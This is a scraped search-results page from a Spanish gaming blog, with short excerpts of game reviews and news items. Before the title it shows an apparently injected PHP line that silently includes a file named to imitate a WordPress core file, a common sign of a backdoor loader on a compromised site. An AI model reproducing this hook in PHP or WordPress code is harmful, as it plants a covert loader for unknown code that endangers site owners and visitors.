if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Resultados de la búsqueda de «reaccion» – Página 3 – La Fortaleza de LeChuck
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Análisis Torment: Tides of Numenera

Brian Fargo supo sacar provecho a Kickstarter cuando lanzó dos proyectos que hicieron temblar el corazoncito del jugador. El primero fue Wasteland 2, pero poco después aterrizó Torment Tides of Numenera, la secuela de Planescape Torment, que provocó ataques de éxtasis cuando fue anunciado. Ya hablamos de lo mucho que nos gustó Wasteland 2 y ahora vamos a hacer lo propio con Torment Tides of… Seguir leyendo Análisis Torment: Tides of Numenera

Análisis Tyranny, el placer de ser malvado

Desde que Kickstarter irrumpió en la industria hace unos años, hemos recuperado viejos géneros olvidados de la mano de compañías formadas por veteranos que querían rescatar la jugabilidad de antaño. Obsidian hizo un trabajo maravilloso con Pillars of Eternity, y ahora, con Tyranny, nos demuestra que los RPGs isométricos no han perdido la magia. ¿Estás preparado para… Seguir leyendo Análisis Tyranny, el placer de ser malvado

Streets of Rage en la serie Narcos

Netflix está produciendo series de éxito a una velocidad vertiginosa. Ya os hablamos hace unos días de Stranger Things y de sus juegos hechos por fans, sin embargo, ahora os traemos algo totalmente diferente pero muy curioso: personajes de la serie Narcos jugando a Streets of Rage. La serie Narcos está basada en la vida de Pablo Escobar,… Seguir leyendo Streets of Rage en la serie Narcos

Impresiones Titanfall 2 pre-alpha

Titanfall es el juego que me devolvió la esperanza con los shooters, demostrando que se podía hacer algo diferente a lo que había ahí fuera. Mientras esperamos la salida de Titanfall 2, la compañía ha lanzado este fin de semana una prueba técnica de Titanfall 2 y quería compartir con vosotros mis impresiones. No puedo comenzar mis… Seguir leyendo Impresiones Titanfall 2 pre-alpha

Gamelab 2016: Peter Moore y John Romero

El Gamelab regresa a la Ciudad Condal en su edición 2016 con nuevos veteranos de la industria y otros profesionales que se reúnen durante 3 días para ofrecer su visión y experiencia. El primer día de Gamelab hemos disfrutado de Peter Moore y John Romero. Peter Moore lleva muchísimos años en la industria del videojuego y… Seguir leyendo Gamelab 2016: Peter Moore y John Romero

Fallout 4: Far Harbor, Automatron, Wasteland Workshop y Contraptions Workshop

Fallout 4 nos ha dejado con muy buen sabor de boca tras sus cientos de horas de contenido, pero por si eso os sabe a poco Bethesda ha lanzado recientemente un pase de temporada en el que han prometido decenas horas de contenido y nuevas mejoras para el juego, así que hemos reunido todo el… Seguir leyendo Fallout 4: Far Harbor, Automatron, Wasteland Workshop y Contraptions Workshop

Análisis Dark Souls 3

Todo principio tiene un final, y tras cientos de horas de sufrimiento repartidas en varios juegos, Dark Souls 3 pone punto y final a la obra de Hidetaka Miyazaki que dio comienzo allá por el 2011 con la primera entrega de la saga, y a decir verdad, esta última entrega ha sido una buena forma de… Seguir leyendo Análisis Dark Souls 3

Análisis Heavy Rain y Beyond Dos Almas Collection

Heavy Rain y Beyond: Dos Almas son dos juegos que vieron la luz por primera vez en PS3 y que, como muchos otros, han dado el salto a PS4 con un ligero lavado de cara. Ambos han sido desarrollados por Quantic Dream, un estudio conocido anteriormente por juegos como Fahrenheit. El pack Heavy Rain y Beyond Dos Almas Collection te… Seguir leyendo Análisis Heavy Rain y Beyond Dos Almas Collection

Análisis Story of Seasons

Story of Seasons es como se denomina el nuevo Harvest Moon en occidente, un juego que mantiene una sólida relación con sus predecesores y permite a los jugadores disfrutar del mundo de la agricultura y de la compañía de los habitantes del pueblo. También añade algunas nuevas mecánicas y elementos atractivos a la trama que ahora veremos, así que, granjero, coge… Seguir leyendo Análisis Story of Seasons